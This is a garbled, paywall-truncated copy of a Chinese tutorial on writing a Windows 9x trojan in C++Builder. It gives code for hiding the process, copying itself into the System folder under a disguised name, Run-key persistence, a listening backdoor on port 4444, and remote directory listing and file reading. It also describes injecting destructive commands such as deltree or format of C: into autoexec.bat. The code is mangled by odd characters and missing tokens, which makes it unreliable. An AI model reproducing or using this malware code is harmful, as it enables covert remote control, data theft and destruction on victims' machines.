木马编写培训教程.docx
《木马编写培训教程.docx》由会员分享，可在线阅读，更多相关《木马编写培训教程.docx（39页珍藏版）》请在冰豆网上搜索。
木马编写培训教程
木马的编写实例
特洛依木马这个名词大家应该不陌生,自从98年“死牛崇拜”黑客小组公布BａckOrｉfｉce以来，木马犹如平地上的惊雷,使在Ｄos——Ｗindowｓ时代中长大的中国网民从五彩缤纷的网络之梦中惊醒，终于认识到的网络也有它邪恶的一面,一时间人心惶惶。
ﻭ 我那时在《电脑报》上看到一篇文章，大意是一个菜鸟被人用BO控制了,吓得整天吃不下饭、睡不着觉、上不了网,到处求救！
要知道,木马（Ｔrojａn）的历史是很悠久的：
早在AＴ&TUｎｉx和BSＤ Ｕnix十分盛行的年代，木马是由一些玩程式（主要是C）水平很高的年轻人（主要是老美）用C或Shell语言编写的,基本是用来窃取登陆主机的口令,以取得更高的权限。
那时木马的主要方法是诱骗——先修改你的.prｏfｉｌｅ文件，植入木马；当你登陆时将你敲入的口令字符存入一个文件,用Emａｉl的形式发到攻击者的邮箱里。
国内的年轻人大都是在盗版Doｓ的熏陶下长大的，对网络可以说很陌生。
直到Win９x横空出世，尤其是WinNt的普及,大大推动了网络事业的发展的时候，BO这个用三年后的眼光看起来有点简单甚至可以说是简陋的木马（甚至在Wiｎ9x的“关闭程序”对话框可以看到进程）给了当时中国人极大的震撼，它在中国的网络安全方面可以说是一个划时代的软件。
自己编写木马，听起来很Cooｌ是不是？
！
木马一定是由两部分组成——服务器程序（Serｖｅr）和客户端程序（Client）,服务器负责打开攻击的道路,就像一个内奸特务；客户端负责攻击目标,两者需要一定的网络协议来进行通讯（一般是ＴCP/ＩP协议）。
为了让大家更好的了解木马攻击技术,破除木马的神秘感，我就来粗略讲一讲编写木马的技术并顺便编写一个例子木马,使大家能更好地防范和查杀各种已知和未知的木马。
ﻭ
首先是编程工具的选择。
目前流行的开发工具有Ｃ＋+Builｄer、VC、VＢ和Dｅlpｈi,这里我们选用C＋+Ｂuildｅr（以下简称ＢCＢ）;VＣ虽然好，但GUI设计太复杂，为了更好地突出我的例子，集中注意力在木马的基本原理上,我们选用可视化的BCB；Dｅlphi也不错，但缺陷是不能继承已有的资源（如“死牛崇拜”黑客小组公布的BO２00０源代码,是ＶＣ编写的,网上俯拾皆是）；VB嘛,谈都不谈——难道你还给受害者传一个1兆多的动态链接库——Msvbvｍ６0．ｄll吗?
启动C＋＋Buｉｌdeｒ5.0企业版，新建一个工程,添加三个VCＬ控件：
一个是Iｎｔeｒｎet页中的SerｖerSocket,另两个是Fastnet页中的NM。
SeｒｖｅrSoｃket的功能是用来使本程序变成一个服务器程序，可以对外服务（对攻击者敞开大门）。
Ｓｏcｋet最初是在Unix上出现的，后来微软将它引入了Ｗindoｗs中（包括Wiｎ９8和WiｎNt）；后两个控件的作用是用来使程序具有 Tranｓfeｒ Pｒoｔocｏl文件传输协议）和SMTP（SｉmpｌeMaｉlTransfｅrProtoｃoｌ简单邮件传输协议）功能,大家一看都知道是使软件具有上传下载功能和发邮件功能的控件。
ﻭ Foｒm窗体是可视的,这当然是不可思议的。
不光占去了大量的空间（光一个Fｏrm就有3００Ｋ之大）,而且使软件可见，根本没什么作用。
因此实际写木马时可以用一些技巧使程序不包含Form，就像Delpｈｉ用过程实现的小程序一般只有１7K左右那样。
ﻭﻭ我们首先应该让我们的程序能够隐身。
双击Ｆorm,首先在ＦｏrmCrｅatｅ事件中添加可使木马在Win9x的“关闭程序”对话框中隐藏的代码。
这看起来很神秘,其实说穿了不过是一种被称之为Seｒvｉce的后台进程,它可以运行在较高的优先级下,可以说是非常靠近系统核心的设备驱动程序中的那一种。
因此，只要将我们的程序在进程数据库中用ＲｅｇisterServicｅＰrocesｓ（）函数注册成服务进程（SｅｒviceProceｓｓ）就可以了。
不过该函数的声明在Borlaｎd预先打包的头文件中没有,那么我们只好自己来声明这个位于KEＲNEL3２.DＬL中的鸟函数了。
ﻭ
首先判断目标机的操作系统是Win９ｘ还是ＷｉnNt：
ﻭ
{
ＤＷORDdwVｅｒsion＝ＧetVｅrsｉon（）;ﻭ//得到操作系统的版本号
if（ｄwVeｒｓｉon>= 0ｘ8000000０）ﻭ//操作系统是Win9x，不是WinNt
{
typｅdefＤWORD（CALLBACK＊ ＬＰRＥGISTEＲSEＲVICEPＲＯCＥSＳ）（ＤWORD,DWＯRD）;
//定义RegｉｓtｅrＳeｒvicePｒoceｓs（）函数的原型
ＨINSＴANCEhＤＬL;
LＰRＥＧISTERSERVICEPROＣESＳｌpＲeｇｉstｅrServｉcePｒocｅss;ﻭ hDLL=LｏａdLibｒaｒｙ（"KERNＥＬ３2"）;
//加载ＲegiｓterSeｒｖicePｒocesｓ（）函数所在的动态链接库KERNEL32．DLＬ
lｐRegisterＳeｒvicePｒｏｃess=（LPREGIＳＴＥRSERVＩCEＰRＯCESＳ）GetPｒoｃAｄdress（hＤＬＬ,"ＲeｇisteｒServiｃeＰroｃess"）;
/／得到RｅgisterServiceＰｒｏｃeｓｓ（）函数的地址ﻭ lpＲeｇisｔｅｒServiｃePｒｏｃｅss（ＧeｔＣurrenｔPrｏcessId（）,1）;
/／执行RｅｇiｓterServｉｃePｒocess（）函数,隐藏本进程ﻭ FｒeeＬibrarｙ（hDLL）;
//卸载动态链接库ﻭ}ﻭ｝ﻭ
这样就终于可以隐身了（害我敲了这么多代码!
）。
为什么要判断操作系统呢？
因为ＷｉnＮt中的进程管理器可以对当前进程一览无余，因此没必要在WiｎＮt下也使用以上代码（不过你可以使用其他的方法，这个留到后面再讲）。
接着再将自己拷贝一份到%System%目录下，例如：
C:
\\Wｉndowｓ\＼Syｓtem,并修改注册表，以便启动时自动加载:
ﻭ
{ ﻭchａｒTempＰath[ＭAＸ_PATH];ﻭ//定义一个变量
GetSｙｓtｅmDirｅｃtory（ＴｅmpPaｔｈ,MＡＸ_ＰATＨ）;ﻭ／/TｅｍpＰath是sｙsteｍ目录缓冲区的地址,MAX＿PATH是缓冲区的大小，得到目标机的System目录路径
SyｓtemPatｈ=AｎsiSｔrｉng（TemｐPａth）;
//格式化TempPath字符串，使之成为能供编译器使用的样式ﻭCｏｐy（０）．c_stｒ（），AnsｉSｔｒｉng（ＳyｓtｅｍPａth+＂\＼＼\Ｔapi32.exｅ"）.c_ｓtｒ（） ,ＦＡLＳE）；ﻭ//将自己拷贝到%Systｅm%目录下，并改名为Taｐｉ32.exe，伪装起来ﻭRｅｇistrｙ=nｅｗＴＲｅgｉstry;ﻭ//定义一个TRｅｇｉstry对象,准备修改注册表,这一步必不可少ﻭRegistｒy->RｏｏtKey＝ＨKEY_LOＣAＬ_MＡCＨIＮE;
//设置主键为ＨKEＹ_ＬＯCＡＬ_ＭAＣHIＮＥ
Rｅｇistry-＞ＯpeｎKｅy（"Ｓoｆｔwａre\＼\\Microsoft\＼\\Ｗindｏws\\\＼
CurｒenｔVersion＼\\\Run＂,ＴRUE）;ﻭ//打开键值Soｆtware＼＼\\Mｉｃrｏsoft\\＼\Wｉndows\\\\CuｒrｅntＶersion＼\＼\Run，如果不存在，就创建之
tryﻭ{ﻭ ／/如果以下语句发生异常，跳至catch,以避免程序崩溃
if（Reｇistry-＞ReａdＳtｒing（"ｃrossbｏw"）！
=SyｓｔｅmＰaｔｈ+"\\\\Ｔaｐi32.exｅ＂）
Ｒｅgiｓｔｒy->WｒiｔeStriｎg（"ｃｒｏｓsbｏw"，SｙstｅmPaｔh+＂\\\＼Tapi3２．eｘｅ＂）;ﻭ //查找是否有“crosｓｂow”字样的键值，并且是否为拷贝的目录%Systｅm%+Ｔａpｉ32．eｘe
／/如果不是,就写入以上键值和内容ﻭ ｝ﻭcａtｃh（．..）ﻭ {ﻭ//如果有错误,什么也不做ﻭ}
}
好，ＦｏrmCreａｔｅ过程完成了，这样每次启动都可以自动加载Tapi32.exe,并且在“关闭程序”对话框中看不见本进程了,木马的雏形初现。
ﻭ 接着选中SeｒvｅrSocｋet控件,在左边的ObｊecｔInspeｃtor中将Ａctive改为truｅ，这样程序一启动就打开特定端口，处于服务器工作状态。
再将Pｏrt填入44４４,这是木马的端口号，当然你也可以用别的。
但是你要注意不要用1024以下的低端端口，因为这样不但可能会与基本网络协议使用的端口相冲突,而且很容易被发觉，因此尽量使用1024以上的高端端口（不过也有这样一种技术，它故意使用特定端口,因为如果引起冲突，Windoｗｓ也不会报错^_＾）。
你可以看一看ＴNMFＴＰ控件使用的端口,是21号端口,这是FTP协议的专用控制端口（Pｏrt）；同理TＮMSＭTP的2５号端口也是SMTP协议的专用端口。
ﻭ
再选中SｅｒｖerＳoｃkｅt控件,点击Ｅvents页，双击OnＣlientＲｅａd事件，敲入以下代码:
ﻭﻭ{
FILE *ｆｐ＝ＮＵLL;
char*cｏntｅnｔ;ﻭiｎtｔｉｍes_of_trｙ;
ｃｈarTemｐ］;ﻭ/／定义了一堆待会儿要用到的变量
sｐriｎtf（TｅmpFilｅ，"%s＂,AnｓiString（SystemPath+ＡnsiString（"\\\\Wｉn36９.BAＴ"））．ｃ_ｓtｒ（））;
／/在%Sｙstem%下建立一个文本文件Win369.bａt,作为临时文件使用ﻭAｎsiStriｎｇｔeｍp=Socｋｅt->ＲeceiｖeText（）;
//接收客户端（攻击者,也就是你自己）传来的数据
}
好，大门敞开了！
接着就是修改目标机的各种配置了!
^＿^首先我们来修改Autｏexec.bat和Coｎfig.syｓ吧:
ﻭﻭ{ﻭiｆ（tｅmp.SuｂStrｉｎg（0,9）=="ｅdｉtconf"）
//如果接受到的字符串的前9个字符是“edｉt ｃonｆ”
{ﻭ iｎt ｎumber=ｔｅmｐ．Ｌength（）;
//得到字符串的长度
int（（teｍp.ＳuｂSｔring（11,１））.c_str（））;
//将第11个字符转换成ｉｎteｇeｒ型，存入变量
//为什么要取第11个字符,因为第10个字符是空格字符
ｃontent=（temｐ.SubSｔｒing（1２,number-１1）+\'\\n\'）.ｃ_ｓtr（）;
／/余下的字符串将被作为写入的内容写入目标文件
FILE*fp=NUＬL;ﻭchaｒ[20]；
chmod（"c:
\\\\ａutoexec.baｔ",S＿IREＡD｜S_IWＲIＴE）;
ｃhmｏd（"ｃ:
＼＼\\coｎfiｇ.sys",S_IＲEＡＤ｜Ｓ_ＩWRITE）；
//将两个目标文件的属性改为可读可写ﻭ iｆ（）ﻭ ｓpriｎtf（,"%s＂,"c:
＼\\\aｕtｏexec.bat＂）；ﻭ ／/如果第11个字符是1,就把Autoｅｘec．bat格式化
elseif（）ﻭ sprintf（,"%s","ｃ:
＼\＼＼config．ｓys"）;
//如果第11个字符是１，就把Conｆｉｇ.sｙs格式化
timeｓ＿of_trｙ=０；
//定义计数器
ｗｈilｅ（fｐ==ＮＵＬL）
{
／/如果指针是空ﻭ fp=fopen（，"a＋"）;ﻭ /／如果文件不存在,创建之;如果存在,准备在其后添加ﻭ //如果出错，文件指针为空，这样就会重复
ｔｉｍes_of_ｔｒｙ=ｔｉmeｓ_of_tｒy+1;ﻭ //计数器加1ﻭ iｆ（tｉmeｓ_ｏf_ｔry>10０）
{
／/如果已经试了100次了,仍未成功
Socket->SendＴext（"FailBy Oｐｅn File"）;ﻭ ／/就发回“ＦaｉlByOｐｅnＦilｅ”的错误信息
gotoEND；ﻭ //跳至END处ﻭ }ﻭ }ﻭ fwriｔｅ（contenｔ，siｚeof（char）,stｒｌｅn（contenｔ），fp）;
／/写入添加的语句,例如deltｒeｅ/yＣ：
或者formａt／q/ａｕtotｅstC:
，够毒吧?
!
ﻭ fcｌose（fｐ）；
／/写完后关闭目标文件ﻭ Socket－>SendTeｘt（"Suceｓs"）;
/／然后发回“Ｓuccｅss”的成功信息
}
}ﻭ
你现在可以通过网络来察看目标机上的这两个文件了，并且还可以向里面随意添加任何命令。
呵呵,这只不过是牛刀小试罢了。
朋友,别走开!
（未完待续）
上回我们讲到如何修改目标机上的启动配置文件，这回我们就来查看目标机上的目录树和文件吧,这在客户端上使用“dir”命令,跟着敲啰：
ﻭﻭ｛
elseif（ｔｅmp.SubＳｔｒing（0，3）=＝"ｄir＂）ﻭ{
//如果前3个字符是“dir”ﻭ iｎｔRｅad_Num;
ｃhａr＊CR_LF="＼\n"；ﻭ iｎt ａｔtriｂ;
chａr *；ﻭ DＩR＊diｒ;
strｕｃtdirｅｎｔ*ent；
int nｕmｂｅr=temp．Ｌengｔｈ（）；
//得到字符串的长度ﻭ AnsiSｔrｉngDir＿Naｍe=tｅmp．SuｂStrinｇ（5，number－3）;
//从字符串第六个字符开始，将后面的字符存入Dｉr＿Name变量,这是目录名
if（Dir_Name＝=""）
{
//如果目录名为空ﻭ Soｃket－>SｅndTｅxｔ（"FailBy ＯpenDIR\＇sName"）；ﻭ ／/返回“ＦaiｌＢyOｐen ＤIＲ\＇sＮamｅ”信息ﻭ ｇｏtoEND;ﻭ /／跳到ENＤ
}
char*ｄiｒname；
dirｎａme=Dir_Namｅ．c_str（）；
if （（dir ＝opendｉr（diｒｎaｍe）） =＝NULL）
｛
／/如果打开目录出错ﻭ Ｓockｅt-＞SenｄText（"Failbyyoｕr ＤIＲ\'sｎame!
"）;
//返回“Faiｌ By YｏｕrDＩR＼'s Name”信息ﻭ goｔo EＮD;ﻭ//跳到END
}ﻭ times_of＿ｔrｙ=0;ﻭ whｉlｅ（fｐ==NUＬL）ﻭ {
//如果指针是ＮＵLＬﻭ ｆp=fｏpen（ＴempFiｌe，＂w+"）;ﻭ //就创建ｓysteｍ＼＼Win３69.ｂａt准备读和写;如果此文件已存在,则会被覆盖
tｉmes_oｆ_try=tｉmes_of_try+１;
/／计数器加1
if（tiｍes_of_ｔｒy>100）
{
//如果已经试了１00次了,仍未成功（真有耐心!
）
Soｃｋet－>SeｎdTｅｘt（"FaｉｌByOpｅnFile"）;
//就发回“FailByOｐen File”的错误信息
goto END；ﻭ /／并跳到END处
}
}ﻭ whｉｌe （（eｎt ＝readdir（diｒ））!
=NUＬＬ）ﻭ {
/／如果访问目标目录成功
if（*（AnsｉＳtriｎg（dｉrnａme））.AnsｉLastChaｒ（）!
＝\'\\\\\'）
／/如果最后一个字符不是“\\”，证明不是根目录
（ＡnsiＳtｒiｎg（dirname）+"＼\\\"+ｅnt->d＿naｍe）.c_ｓtｒ（）;ﻭ ／／加上“\＼”字符后将指针指向目录流ﻭ elsｅﻭ （AnsiSｔｒing（dirnａme）+ent-＞d_naｍe）.c_ｓtr（）;
//如果是根目录，则不用加“\\”ﻭ ａtｔrib=_ｒtｌ_chmod（,0）；ﻭ ／/得到目标文件的访问属性
if（aｔtrｉb＆ ＦA_RDONLY）ﻭ ／/“&”字符是比较前后两个变量，如果相同返回1,否则返回０
fｗritｅ（"R"，sizeof（chaｒ），3,ｆｐ）;
／/将目标文件属性设为只读ﻭ eｌse
fwｒite（"＂,sｉzeof（chａr）,3,fp）；
／/失败则写入空格
iｆ（aｔｔriｂ＆ FA＿HIＤＤEN）
fwriｔe（＂H",sizeof（cｈar），1,ｆp）；
//将目标文件属性设为隐藏
ｅｌｓｅﻭ fｗrite（"",sｉｚeof（char）,１，fp）;ﻭ //失败则写入空格ﻭ if （attｒib ＆ FA＿SYＳTEＭ）
fwrite（"S＂,ｓｉｚeｏf（chaｒ），1,ｆp）;
/／将目标文件属性设为系统
else
fwrite（"",sｉzeｏｆ（chaｒ），１，fｐ）;ﻭ //失败则写入空格
if（atｔrib ＆FＡ_ARCH）
fwrite（"Ａ",siｚeoｆ（ｃhａr），1，fp）;
/／将目标文件属性设为普通
elseﻭ fwrｉte（" "，sｉzeoｆ（chaｒ），1,fp）；
／/失败则写入空格
ｉf（ａtｔriｂ&FA_DIＲEC）ﻭ fｗriｔe（"ﻭﻭ"，ｓizｅoｆ（ｃhａr），9,fｐ）;
//将目标文件属性设为目录ﻭ elsｅﻭ fｗritｅ（" ＂,siｚｅoｆ（char），9，ｆp）；ﻭ //失败则写入空格ﻭ fwrｉte（eｎt-＞d_nａｍe,siｚeof（chaｒ），sｔｒlen（ent->ｄ_naｍe）,fp）；
//将目录名写入目标文件
fｗrite（CＲ_ＬF，1,1，ｆp）；ﻭ /／写入换行
}ﻭ ｆｃｌｏse（fｐ）;ﻭ //关闭文件ﻭ cｌoｓediｒ（dir）;
//关闭目录
ＦILE*ｆp1=NULＬ;
times_of_try=０;
ｗhiｌｅ（ｆp１==ＮＵLＬ）ﻭ {
fp１＝ｆoｐｅn（TempFiｌｅ,"r"）；ﻭ //打开Win３69.ｂat准备读
times＿ｏf_ｔｒy=ｔimes_ｏｆ_try+1;
/／计数器加１ﻭ if（ｔｉmｅｓ_of＿try>10０）
{ﻭ //如果已经试了1００次了，仍未成功ﻭ Socket->SendText（"Faiｌ By OpenFile"）;ﻭ ／/就发回“ＦaｉlByOpenFile”的错误信息
ｇoｔo ＥND;ﻭ //并跳到ＥＮＤ处
｝
｝ﻭ AnｓｉStｒing Reｔurｎ＿Text=＂"；ﻭ ｃhaｒｔemp_ｃontent[300]；
foｒ（ｉｎｔi=０；i<３00;i＋＋） teｍp＿ｃｏntenｔ[i]=\＇\\0\';
//定义的一个空数组ﻭ Read_Ｎum=fread（temｐ_conteｎt,1，3０0,ｆp1）;
//从目标文件中读入前300个字符
while（Reaｄ_Nｕm==3０0）
｛ﻭ Ｒetｕrn_Ｔeｘｔ=Rｅturn＿Tｅｘt＋ｔｅmp＿ｃontenｔ；
／/Rｅturn_Text变量加上刚才的3０0个字符ﻭ fｏr（iｎti＝０;i<３00；i＋+）ｔemp＿ｃontent[i]=\'\\0\＇;ﻭ Ｒｅad_Num＝fread（teｍp_content,1，30０，fｐ1）;ﻭ //重复
};ﻭ Return＿Text=Retuｒn＿Ｔext+teｍp_cｏnｔent；ﻭ ／/Return＿Ｔｅxｔ变量加上刚才的300个字符
fｃloｓｅ（fp1）；ﻭ //关闭目标文件ﻭ Ｓocｋet->SenｄText（Reｔurｎ_Teｘt）；ﻭ //返回Ｒｅｔuｒn_Teｘt变量的内容ﻭ }
}
够长吧?
!
察看目录树这么费劲啊？
!
你后面可以用ＢＣB中的各种列表框对Cｌienｔ．ｅxe好好美化美化。
接下来就是查看指定文件的内容了，Client将使用“tyｐe”命令，（手指累不累啊？
）：
ﻭ
{
elseｉf（ｔemp.SuｂSｔrｉnｇ（0，4）==＂tyｐe"）ﻭ{ﻭ /／如果前4个字符是“tｙpe”ﻭ ｉntReａd＿Num；
ｉntｎumber=tｅmp.Ｌength（）;
AnsｉSｔrinｇ（6，nｕmbｅr-4）;ﻭ/／将目标文件流存入变量中ﻭ tｉmes＿of_try=0;
while（fp=＝NＵLL）
{
fｐ=fopeｎ（（），"r"）;ﻭ //打开目标文件准备读ﻭ timeｓ_ｏf_try=times_ｏf_try+1;
//计数器加1ﻭ if（ｔｉｍes_ｏｆ＿try＞１00）
{ﻭ //如果已试了100次了
Socket->SendTexｔ（"ＦａilＢyOpeｎFｉle＂）;
／／返回“FailByＯpenＦiｌe”的错误信息
ｇotoEND;ﻭ //跳到EＮDﻭ }
}
AnｓiＳtrinｇRｅｔｕrn_Teｘt=""；
chａrtｅｍp_content[３00]；
for（ｉnｔi=０;ｉ＜３０0;i++）temp_coｎtｅnt[ｉ]=\'＼\０\＇;
//定义一个空数组ﻭ Read_Num=fｒｅad（ｔemｐ_cｏnｔｅnｔ，1,3００,fp）;ﻭ//从目标文件中读入前300个字符
ｗhｉle（Rｅad_Num=＝300）ﻭ{
Ｒｅturn＿Ｔext=Return_Ｔeｘt+temｐ＿cｏnteｎt;ﻭ //Ｒeturn＿Ｔｅxt的内容加上刚才的字符
for（intｉ＝0；i<300；ｉ++）ｔeｍp_coｎteｎt[i]＝\'\\0＼';
Rｅａd_Ｎum=fread（temp＿ｃonteｎt，1,300,ｆｐ）；
//重复
};
Rｅtuｒn_Ｔeｘt=Retｕrｎ_Ｔｅxt+ｔemp_coｎtenｔ；
/／Ｒeｔｕrn_Ｔｅxt的内容加上刚才的字符ﻭ ｆcｌｏｓe（fｐ）;ﻭ ／/关闭目标文件ﻭＳocket->ＳendTeｘt（Ｒetｕｒn＿Ｔext）;ﻭ //返回Retｕrn_Text的内容，即你查看文件的内容
}
}ﻭﻭ咳咳！
累死了!
还是来点轻松的吧——操纵目标机的光驱（注意:
ｍciSendSｔring（
升级会员 